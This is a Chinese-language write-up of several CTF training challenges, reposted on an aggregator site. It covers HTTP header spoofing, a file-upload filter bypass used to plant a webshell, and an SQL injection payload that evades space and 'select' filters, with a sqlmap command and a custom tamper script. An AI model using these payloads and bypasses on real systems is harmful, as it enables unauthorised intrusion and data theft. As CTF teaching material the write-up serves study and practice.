结业赛部分题解

Posted 伟已茹心

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了结业赛部分题解相关的知识,希望对你有一定的参考价值。

结业赛题部分题解

签到题

是一个很简单的web签到题,查看网页源代码,发现里面注释了一段base64对其解码就是flag:

HTTP

打开题目有个提示一起闯关吧,进入题目发现说不是secdriver浏览器,使用浏览器伪造轻松绕过:User-Agent:secdriver,然后又说不是admin用户,发现请求头里有个admin=0,这应该就是判断是否为ADMIN用户的依据,将其置为1绕过,然后是说不是本地,通过伪造IP为127.0.0.1进行绕过,最后是必须是德国语言才能查看flag百度了一下为DE,后来发现主办方给出了提示:

black_list

一道简单的文件上传的题目,首先上传了一句话木马,发现可以直接上传成功,但是通过通过查看源码的时候发现文件的后缀php没了,猜想应该是对php进行了过滤,利用双写进行绕过即可:1.pphphp,在通过中国菜刀等工具连接即可。
# no_space
一道sql注入的题目,根据题目的提示想到了空格过滤使用/**/就可以绕过,然后发现对select也进行了过滤,可以使用双写进行绕过:selselectect:
1、手工注入最后的payload:

-1'/**/union/**/selselectect/**/1,group_concat(id,0x23,id,email_id),3/**/from/**/emails%23

2、使用sqlmap:

sqlmap.py -u  url/?id=0 -p id -v 3 --level=3 --tamper=doubleselect.py --tamper=space2comment.py --technique=U –current-db  --batch --flush-session

temper绕过脚本:

#!/usr/bin/env python
'''
sqlmap 双写绕过
by:shadowwolf
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload= payload.lower()
    payload= payload.replace('select' , 'selselectect')
    retVal=payload
    return retVal

py

简单的加密算法,看懂其中的逻辑后就可以编写解题的脚本了,先解码,在进行字符串AScii-3:

import base64

c = 'aW9kan48NGlnPGY6aDA2ZGhoMDQ0aGYwOzZoMzA3N2RpNTtkOjg1NjrCgA=='

def x(string):
    return str(base64.b64decode(string.encode()).decode('utf-8'))
    pass

def y(string):
    r = ''
    for c in string:
        r += chr(ord(c)-3)
    return r
    pass

cipher = y(x(c))
print(cipher)

MD5

题目是MD5通,使用脚本暴力破解缺失字符,并确定进行MD5判断:

import hashlib
#flag{P7?Y0OG?0XPC?ZPK}
s1 = "flag{P7"
s2 = "Y0OG"
s3 = "0XPC"
s4 = "ZPK}"

str = ['0','1','2','3','4','5','6','7','8','9','0','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for i in str:
    for j in str:
        for k in str:
            flag = s1 + i + s2 + j + s3 + k + s4
            pre = hashlib.md5()
            pre.update(flag)
            md5 = str(pre.hexdigest())
            #9e86????007f??9a38???449a?0ea7cf
            if ('9e86' and '9a38' and '0ea7cf') in md5 :
                print md5
                print flag

Sprintf

查看程序是否加壳,然后通过IDA64位打开,找到main函数,读取伪代码:
通过对伪代码的解读发现其flag就是flag(%s%s%s%s%s%s%s),编写解题脚本:

#include <stdio.h>

int main()
{
  long long int v16 = 95LL;
  long long int v17 = 0;
  long long int v14 = 1735290739LL;
  long long int v15 = 0;
  long long int v12 = 7234918LL;
  long long int v13 = 0;
  long long int v10 = 26990LL;
  long long int v11 = 0;
  long long int v8 = 444233509240LL;
  long long int v9 = 0;
  printf("flag{%s%s%s%s%s%s%s}", &v14, &v16, &v12, &v16, &v10, &v16, &v8);
}

# 百度网盘
pyc文件,进行反编译py文件里有BV的提示,猜测是哔哩哔哩的视频号
访问后看到链接

MD5取哈希后就是flag

以上是关于结业赛部分题解的主要内容,如果未能解决你的问题,请参考以下文章

SCUACM22暑假集训前劝退赛部分题解

2016 ACM/ICPC亚洲区青岛站现场赛(部分题解)

2022团体程序设计天梯赛GPLT2022,L1~L2部分(PTA,L1-081~L1-088,L2-041~L2-044)题解代码&复盘

2022团体程序设计天梯赛GPLT2022,L1~L2部分(PTA,L1-081~L1-088,L2-041~L2-044)题解代码&复盘

2021CCPC网络赛部分题解

四川大学2021SCUACM新生赛决赛大部分题解(差分dp线段树……)